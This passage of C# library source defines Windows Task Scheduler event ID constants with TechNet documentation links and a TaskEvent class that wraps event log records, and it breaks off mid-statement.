119,\n        /// <summary>Task Scheduler launched an instance of a task due to a user connecting to the console.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315609(v=ws.10).aspx\">Event ID 120</a> on TechNet.</remarks>\n        ConsoleConnectTrigger = 120,\n        /// <summary>Task Scheduler launched an instance of a task due to a user disconnecting from the console.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363748(v=ws.10).aspx\">Event ID 121</a> on TechNet.</remarks>\n        ConsoleDisconnectTrigger = 121,\n        /// <summary>Task Scheduler launched an instance of a task due to a user remotely connecting.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc774994(v=ws.10).aspx\">Event ID 122</a> on TechNet.</remarks>\n        RemoteConnectTrigger = 122,\n        /// <summary>Task Scheduler launched an instance of a task due to a user remotely disconnecting.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc775034(v=ws.10).aspx\">Event ID 123</a> on TechNet.</remarks>\n        RemoteDisconnectTrigger = 123,\n        /// <summary>Task Scheduler launched an instance of a task due to a user locking the computer.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315499(v=ws.10).aspx\">Event ID 124</a> on TechNet.</remarks>\n        SessionLockTrigger = 124,\n        /// <summary>Task Scheduler launched an instance of a task due to a user unlocking the computer.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc727048(v=ws.10).aspx\">Event ID 125</a> on TechNet.</remarks>\n        SessionUnlockTrigger = 125,\n        /// <summary>Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363647(v=ws.10).aspx\">Event ID 126</a> on TechNet.</remarks>\n        FailedTaskRestart = 126,\n        /// <summary>Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc726976(v=ws.10).aspx\">Event ID 127</a> on TechNet.</remarks>\n        RejectedTaskRestart = 127,\n        /// <summary>Task Scheduler did not launch a task because the current time exceeds the configured task end time.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315638(v=ws.10).aspx\">Event ID 128</a> on TechNet.</remarks>\n        IgnoredTaskStart = 128,\n        /// <summary>Task Scheduler launched an instance of a task in a new process.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315544(v=ws.10).aspx\">Event ID 129</a> on TechNet.</remarks>\n        CreatedTaskProcess = 129,\n        /// <summary>The Task Scheduler service failed to start a task due to the service being busy.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315521(v=ws.10).aspx\">Event ID 130</a> on TechNet.</remarks>\n        TaskNotRunServiceBusy = 130,\n        /// <summary>Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363733(v=ws.10).aspx\">Event ID 131</a> on TechNet.</remarks>\n        TaskNotStartedTaskQueueQuotaExceeded = 131,\n        /// <summary>The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363705(v=ws.10).aspx\">Event ID 132</a> on TechNet.</remarks>\n        TaskQueueQuotaApproaching = 132,\n        /// <summary>Task Scheduler failed to start a task in the task engine for a user.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315645(v=ws.10).aspx\">Event ID 133</a> on TechNet.</remarks>\n        TaskNotStartedEngineQuotaExceeded = 133,\n        /// <summary>Task Engine for a user is approaching its preset limit of tasks.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc774865(v=ws.10).aspx\">Event ID 134</a> on TechNet.</remarks>\n        EngineQuotaApproaching = 134,\n        /// <summary>Task Scheduler did not launch a task because launch condition not met, machine not idle.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363654(v=ws.10).aspx\">Event ID 135</a> on TechNet.</remarks>\n        NotStartedWithoutIdle = 135,\n        /// <summary>A user updated Task Scheduler a task</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363717(v=ws.10).aspx\">Event ID 140</a> on TechNet.</remarks>\n        TaskUpdated = 140,\n        /// <summary>A user deleted Task Scheduler a task</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348535(v=ws.10).aspx\">Event ID 141</a> on TechNet.</remarks>\n        TaskDeleted = 141,\n        /// <summary>A user disabled Task Scheduler a task</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363727(v=ws.10).aspx\">Event ID 142</a> on TechNet.</remarks>\n        TaskDisabled = 142,\n        /// <summary>Task Scheduler woke up the computer to run a task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc775065(v=ws.10).aspx\">Event ID 145</a> on TechNet.</remarks>\n        TaskStartedOnComputerWakeup = 145,\n        /// <summary>Task Scheduler failed to subscribe the event trigger for a task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315495(v=ws.10).aspx\">Event ID 150</a> on TechNet.</remarks>\n        TaskEventSubscriptionFailed = 150,\n        /// <summary>Task Scheduler launched an action in an instance of a task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc775088(v=ws.10).aspx\">Event ID 200</a> on TechNet.</remarks>\n        ActionStart = 200,\n        /// <summary>Task Scheduler successfully completed a task instance and action.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348568(v=ws.10).aspx\">Event ID 201</a> on TechNet.</remarks>\n        ActionSuccess = 201,\n        /// <summary>Task Scheduler failed to complete an instance of a task with an action.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315592(v=ws.10).aspx\">Event ID 202</a> on TechNet.</remarks>\n        ActionFailure = 202,\n        /// <summary>Task Scheduler failed to launch an action in a task instance.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363729(v=ws.10).aspx\">Event ID 203</a> on TechNet.</remarks>\n        ActionLaunchFailure = 203,\n        /// <summary>Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348579(v=ws.10).aspx\">Event ID 204</a> on TechNet.</remarks>\n        EventRenderFailed = 204,\n        /// <summary>Task Scheduler failed to match the pattern of events for a task. The events will be ignored.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363661(v=ws.10).aspx\">Event ID 205</a> on TechNet.</remarks>\n        EventAggregateFailed = 205,\n        /// <summary>Task Scheduler is shutting down the a task engine.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348583(v=ws.10).aspx\">Event ID 301</a> on TechNet.</remarks>\n        SessionExit = 301,\n        /// <summary>Task Scheduler is shutting down the a task engine due to an error. </summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc727080(v=ws.10).aspx\">Event ID 303</a> on TechNet.</remarks>\n        SessionError = 303,\n        /// <summary>Task Scheduler sent a task to a task engine.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315534(v=ws.10).aspx\">Event ID 304</a> on TechNet.</remarks>\n        SessionSentJob = 304,\n        /// <summary>Task Scheduler did not send a task to a task engine.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363776(v=ws.10).aspx\">Event ID 305</a> on TechNet.</remarks>\n        SessionSentJobFailed = 305,\n        /// <summary>For a Task Scheduler task engine, the thread pool failed to process the message.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315525(v=ws.10).aspx\">Event ID 306</a> on TechNet.</remarks>\n        SessionFailedToProcessMessage = 306,\n        /// <summary>The Task Scheduler service failed to connect to a task engine process.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315605(v=ws.10).aspx\">Event ID 307</a> on TechNet.</remarks>\n        SessionManagerConnectFailed = 307,\n        /// <summary>Task Scheduler connected to a task engine process.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315746(v=ws.10).aspx\">Event ID 308</a> on TechNet.</remarks>\n        SessionConnected = 308,\n        /// <summary>There are Task Scheduler tasks orphaned during a task engine shutdown.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348580(v=ws.10).aspx\">Event ID 309</a> on TechNet.</remarks>\n        SessionJobsOrphaned = 309,\n        /// <summary>Task Scheduler started a task engine process.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315668(v=ws.10).aspx\">Event ID 310</a> on TechNet.</remarks>\n        SessionProcessStarted = 310,\n        /// <summary>Task Scheduler failed to start a task engine process due to an error.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363691(v=ws.10).aspx\">Event ID 311</a> on TechNet.</remarks>\n        SessionProcessLaunchFailed = 311,\n        /// <summary>Task Scheduler created the Win32 job object for a task engine.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc775071(v=ws.10).aspx\">Event ID 312</a> on TechNet.</remarks>\n        SessionWin32ObjectCreated = 312,\n        /// <summary>The Task Scheduler channel is ready to send and receive messages.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363685(v=ws.10).aspx\">Event ID 313</a> on TechNet.</remarks>\n        SessionChannelReady = 313,\n        /// <summary>Task Scheduler has no tasks running for a task engine, and the idle timer has started.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315517(v=ws.10).aspx\">Event ID 314</a> on TechNet.</remarks>\n        SessionIdle = 314,\n        /// <summary>A task engine process failed to connect to the Task Scheduler service.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363798(v=ws.10).aspx\">Event ID 315</a> on TechNet.</remarks>\n        SessionProcessConnectFailed = 315,\n        /// <summary>A task engine failed to send a message to the Task Scheduler service.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315748(v=ws.10).aspx\">Event ID 316</a> on TechNet.</remarks>\n        SessionMessageSendFailed = 316,\n        /// <summary>Task Scheduler started a task engine process.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315663(v=ws.10).aspx\">Event ID 317</a> on TechNet.</remarks>\n        SessionProcessMainStarted = 317,\n        /// <summary>Task Scheduler shut down a task engine process.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc727204(v=ws.10).aspx\">Event ID 318</a> on TechNet.</remarks>\n        SessionProcessMainShutdown = 318,\n        /// <summary>A task engine received a message from the Task Scheduler service requesting to launch a task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363712(v=ws.10).aspx\">Event ID 319</a> on TechNet.</remarks>\n        SessionProcessReceivedStartJob = 319,\n        /// <summary>A task engine received a message from the Task Scheduler service requesting to stop a task instance.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc774993(v=ws.10).aspx\">Event ID 320</a> on TechNet.</remarks>\n        SessionProcessReceivedStopJob = 320,\n        /// <summary>Task Scheduler did not launch a task because an instance of the same task is already running.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315618(v=ws.10).aspx\">Event ID 322</a> on TechNet.</remarks>\n        NewInstanceIgnored = 322,\n        /// <summary>Task Scheduler stopped an instance of a task in order to launch a new instance.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315542(v=ws.10).aspx\">Event ID 323</a> on TechNet.</remarks>\n        RunningInstanceStopped = 323,\n        /// <summary>Task Scheduler queued an instance of a task and will launch it as soon as another instance completes.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363759(v=ws.10).aspx\">Event ID 324</a> on TechNet.</remarks>\n        NewInstanceQueued = 324,\n        /// <summary>Task Scheduler queued an instance of a task that will launch immediately.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363654(v=ws.10).aspx\">Event ID 325</a> on TechNet.</remarks>\n        InstanceQueued = 325,\n        /// <summary>Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315644(v=ws.10).aspx\">Event ID 326</a> on TechNet.</remarks>\n        NoStartOnBatteries = 326,\n        /// <summary>Task Scheduler stopped an instance of a task because the computer is switching to battery power.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348611(v=ws.10).aspx\">Event ID 327</a> on TechNet.</remarks>\n        StoppingOnBatteries = 327,\n        /// <summary>Task Scheduler stopped an instance of a task because the computer is no longer idle.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363732(v=ws.10).aspx\">Event ID 328</a> on TechNet.</remarks>\n        StoppingOffIdle = 328,\n        /// <summary>Task Scheduler stopped an instance of a task because the task timed out.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348536(v=ws.10).aspx\">Event ID 329</a> on TechNet.</remarks>\n        StoppingOnTimeout = 329,\n        /// <summary>Task Scheduler stopped an instance of a task as request by a user .</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348610(v=ws.10).aspx\">Event ID 330</a> on TechNet.</remarks>\n        StoppingOnRequest = 330,\n        /// <summary>Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315673(v=ws.10).aspx\">Event ID 331</a> on TechNet.</remarks>\n        TimeoutWontWork = 331,\n        /// <summary>Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315612(v=ws.10).aspx\">Event ID 332</a> on TechNet.</remarks>\n        NoStartUserNotLoggedOn = 332,\n        /// <summary>The Task Scheduler service has started.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315626(v=ws.10).aspx\">Event ID 400</a> on TechNet.</remarks>\n        ScheduleServiceStart = 400,\n        /// <summary>The Task Scheduler service failed to start due to an error.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363598(v=ws.10).aspx\">Event ID 401</a> on TechNet.</remarks>\n        ScheduleServiceStartFailed = 401,\n        /// <summary>Task Scheduler service is shutting down.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363724(v=ws.10).aspx\">Event ID 402</a> on TechNet.</remarks>\n        ScheduleServiceStop = 402,\n        /// <summary>The Task Scheduler service has encountered an error.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315744(v=ws.10).aspx\">Event ID 403</a> on TechNet.</remarks>\n        ScheduleServiceError = 403,\n        /// <summary>The Task Scheduler service has encountered an RPC initialization error.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363713(v=ws.10).aspx\">Event ID 404</a> on TechNet.</remarks>\n        ScheduleServiceRpcInitError = 404,\n        /// <summary>The Task Scheduler service has failed to initialize COM.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363728(v=ws.10).aspx\">Event ID 405</a> on TechNet.</remarks>\n        ScheduleServiceComInitError = 405,\n        /// <summary>The Task Scheduler service failed to initialize the credentials store.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315727(v=ws.10).aspx\">Event ID 406</a> on TechNet.</remarks>\n        ScheduleServiceCredStoreInitError = 406,\n        /// <summary>Task Scheduler service failed to initialize LSA.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315580(v=ws.10).aspx\">Event ID 407</a> on TechNet.</remarks>\n        ScheduleServiceLsaInitError = 407,\n        /// <summary>Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315523(v=ws.10).aspx\">Event ID 408</a> on TechNet.</remarks>\n        ScheduleServiceIdleServiceInitError = 408,\n        /// <summary>The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc774954(v=ws.10).aspx\">Event ID 409</a> on TechNet.</remarks>\n        ScheduleServiceTimeChangeInitError = 409,\n        /// <summary>Task Scheduler service received a time system change notification.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315633(v=ws.10).aspx\">Event ID 411</a> on TechNet.</remarks>\n        ScheduleServiceTimeChangeSignaled = 411,\n        /// <summary>Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315637(v=ws.10).aspx\">Event ID 412</a> on TechNet.</remarks>\n        ScheduleServiceRunBootJobsFailed = 412,\n        /// <summary>Task Scheduler service started Task Compatibility module.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc727087(v=ws.10).aspx\">Event ID 700</a> on TechNet.</remarks>\n        CompatStart = 700,\n        /// <summary>Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315530(v=ws.10).aspx\">Event ID 701</a> on TechNet.</remarks>\n        CompatStartFailed = 701,\n        /// <summary>Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315721(v=ws.10).aspx\">Event ID 702</a> on TechNet.</remarks>\n        CompatStartRpcFailed = 702,\n        /// <summary>Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348604(v=ws.10).aspx\">Event ID 703</a> on TechNet.</remarks>\n        CompatStartNetscheduleFailed = 703,\n        /// <summary>Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315572(v=ws.10).aspx\">Event ID 704</a> on TechNet.</remarks>\n        CompatStartLsaFailed = 704,\n        /// <summary>Task Scheduler failed to start directory monitoring for the Task Compatibility module.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc727147(v=ws.10).aspx\">Event ID 705</a> on TechNet.</remarks>\n        CompatDirectoryMonitorFailed = 705,\n        /// <summary>Task Compatibility module failed to update a task to the required status.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315682(v=ws.10).aspx\">Event ID 706</a> on TechNet.</remarks>\n        CompatTaskStatusUpdateFailed = 706,\n        /// <summary>Task Compatibility module failed to delete a task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348545(v=ws.10).aspx\">Event ID 707</a> on TechNet.</remarks>\n        CompatTaskDeleteFailed = 707,\n        /// <summary>Task Compatibility module failed to set a security descriptor for a task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315719(v=ws.10).aspx\">Event ID 708</a> on TechNet.</remarks>\n        CompatTaskSetSdFailed = 708,\n        /// <summary>Task Compatibility module failed to update a task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363614(v=ws.10).aspx\">Event ID 709</a> on TechNet.</remarks>\n        CompatTaskUpdateFailed = 709,\n        /// <summary>Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363608(v=ws.10).aspx\">Event ID 710</a> on TechNet.</remarks>\n        CompatUpgradeStartFailed = 710,\n        /// <summary>Task Compatibility module failed to upgrade NetSchedule account.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348554(v=ws.10).aspx\">Event ID 711</a> on TechNet.</remarks>\n        CompatUpgradeNsAccountFailed = 711,\n        /// <summary>Task Compatibility module failed to read existing store to upgrade tasks.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315519(v=ws.10).aspx\">Event ID 712</a> on TechNet.</remarks>\n        CompatUpgradeStoreEnumFailed = 712,\n        /// <summary>Task Compatibility module failed to load a task for upgrade.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315728(v=ws.10).aspx\">Event ID 713</a> on TechNet.</remarks>\n        CompatUpgradeTaskLoadFailed = 713,\n        /// <summary>Task Compatibility module failed to register a task for upgrade.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363701(v=ws.10).aspx\">Event ID 714</a> on TechNet.</remarks>\n        CompatUpgradeTaskRegistrationFailed = 714,\n        /// <summary>Task Compatibility module failed to delete LSA store for upgrade.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348581(v=ws.10).aspx\">Event ID 715</a> on TechNet.</remarks>\n        CompatUpgradeLsaCleanupFailed = 715,\n        /// <summary>Task Compatibility module failed to upgrade existing scheduled tasks.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315624(v=ws.10).aspx\">Event ID 716</a> on TechNet.</remarks>\n        CompatUpgradeFailed = 716,\n        /// <summary>Task Compatibility module failed to determine if upgrade is needed.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315731(v=ws.10).aspx\">Event ID 717</a> on TechNet.</remarks>\n        CompatUpgradeNeedNotDetermined = 717,\n        /// <summary>Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348576(v=ws.10).aspx\">Event ID 718</a> on TechNet.</remarks>\n        VistaBeta2CredstoreUpgradeFailed = 718,\n        /// <summary>A unknown value.</summary>\n        Unknown = -2\n    }\n\n    /// <summary>\n    /// Historical event information for a task. This class wraps and extends the <see cref=\"EventRecord\"/> class.\n    /// </summary>\n    /// <remarks>\n    /// For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties.\n    /// </remarks>\n    [PublicAPI]\n    public sealed class TaskEvent : IComparable<TaskEvent>\n    {\n        internal TaskEvent([NotNull] EventRecord rec)\n        {\n            EventId = rec.Id;\n            EventRecord = rec;\n            Version = rec.Version;\n            TaskCategory = rec.TaskDisplayName;\n            OpCode = rec.OpcodeDisplayName;\n            TimeCreated = rec.TimeCreated;\n            RecordId = rec.RecordId;\n            ActivityId = rec.ActivityId;\n            Level = rec.LevelDisplayName;\n            UserId = rec.UserId;\n            ProcessId = rec.ProcessId;\n            TaskPath = rec.Properties.Count > 0 ? rec.Properties[0]?.Value?.ToString() : null;\n            DataValues = new EventDataValues(rec as EventLogRecord);\n        }\n\n        internal TaskEvent([NotNull] string taskPath, StandardTaskEventId id, DateTime time)\n        {\n            EventId = (int)id;\n            TaskPath = taskPath;\n            TimeCreated = time;\n        }\n\n        /// <summary>\n        /// Gets the activity id. This value is <c>null</c> for V1 events.\n        /// </summary>\n        public Guid? ActivityId { get; internal set; }\n\n        /// <summary>\n        /// An indexer that gets the value of each of the data item values. This value is <c>null</c> for V1 events.\n        /// </summary>\n        /// <value>\n        /// The data values.\n        /// </value>\n        public EventDataValues DataValues { get; }\n\n        /// <summary>\n        /// Gets the event id.\n        /// </summary>\n        public int EventId { get; internal set; }\n\n        /// <summary>\n        /// Gets the underlying <see cref=\"EventRecord\"/>. This value is <c>null</c> for V1 events.\n        /// </summary>\n        public EventRecord EventRecord { get; internal set; }\n\n        /// <summary>\n        /// Gets the <see cref=\"StandardTaskEventId\"/> from the <see cref=\"EventId\"/>.\n        /// </summary>\n        /// <value>\n        /// The <see cref=\"StandardTaskEventId\"/>. If not found, returns <see cref=\"StandardTaskEventId.Unknown\"/>.\n        /// </value>\n        public StandardTaskEventId StandardEventId\n        {\n            get\n            {\n                if (Enum.IsDefined(typeof(StandardTaskEventId), EventId))\n                    return (StandardTaskEventId)EventId;\n                return StandardTaskEventId.Unknown;\n            }\n        }\n\n        /// <summary>\n        /// Gets the level. This value is <c>null</c> for V1 events.\n        /// </summary>\n        public string Level { get; internal set; }\n\n        /// <summary>\n        /// Gets the op code. This value is <c>null</c> for V1 events.\n        /// </summary>\n        public string OpCode { get; internal set; }\n\n        /// <summary>\n        /// Gets the process id. This value is <c>null</c> for V1 events.\n        /// </summary>\n        public int? ProcessId { get; internal set; }\n\n        /// <summary>\n        /// Gets the record id. This value is <c>null</c> for V1 events.\n        /// </summary>\n        public long? RecordId { get; internal set; }\n\n        /// <summary>\n        /// Gets the task category. This value is <c>null</c> for V1 events.\n        /// </summary>\n        public string TaskCategory { get; internal set; }\n\n        /// <summary>\n        /// Gets the task path.\n        /// </summary>\n        public string TaskPath { get; internal set; }\n\n        /// <summary>\n        /// Gets the time created.\n        /// </summary>\n        public DateTime? TimeCreated { get; internal set; }\n\n        /// <summary>\n        /// Gets the user id. This value is <c>null</c> for V1 events.\n        /// </summary>\n        public System.Security.Principal.SecurityIdentifier UserId { get; internal set; }\n\n        /// <summary>\n        /// Gets the version. This value is <c>null</c> for V1 events.\n        /// </summary>\n        public byte? Version { get; internal set; }\n\n        /// <summary>\n        /// Gets the data value from the task specific event data item list.\n        /// </summary>\n        /// <param name=\"name\">The name of the data element.</param>\n        /// <returns>Contents of the requested data element if found. <c>null</c> if no value found.</returns>\n        [Obsolete(\"Use the DataVales property instead.\")]\n        public string GetDataValue(string name) => DataValues?[name];\n\n        /// <summary>\n        /// Returns a <see cref=\"System.String\"/> that represents this instance.\n        /// </summary>\n        /// <returns>\n        /// A <see cref=\"System.String\"/> that represents this instance.\n        /// </returns>\n        public override string ToString() => EventRecord?.FormatDescription() ?? TaskPath;\n\n        /// <summary>\n        /// Compares the current object with another object of the same type.\n        /// </summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>\n        /// A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other.\n        /// </returns>\n        public int CompareTo(TaskEvent other)\n        {\n            int i = string.Compare(TaskPath, other.TaskPath, StringComparison.Ordinal);\n            if (i == 0 && EventRecord != null)\n            {\n                i = string.Compare(ActivityId.ToString(), other.ActivityId.ToString(), StringComparison.Ordinal);\n                if (i == 0)\n                    i = Convert.ToInt32(RecordId - other.RecordId);\n            }\n            return i;\n        }\n\n        /// <summary>\n        /// Get indexer class for <see cref=\"EventLogRecord\"/> data values.\n        /// </summary>\n        public class EventDataValues\n        {\n            private readonly EventLogRecord rec;\n\n            internal EventDataValues(EventLogRecord eventRec)\n            {\n                rec = eventRec;\n            }\n\n            /// <summary>\n            /// Gets the <see cref=\"System.String\"/> value of the specified property name.\n            /// </summary>\n            /// <value>\n            /// The value.\n            /// </value>\n            /// <param name=\"propertyName\">Name of the property.</param>\n            /// <returns>Value of the specified property name. <c>null</c> if property does not exist.</returns>\n            public string this[string propertyName]\n            {\n                get\n                {\n                    var propsel = new 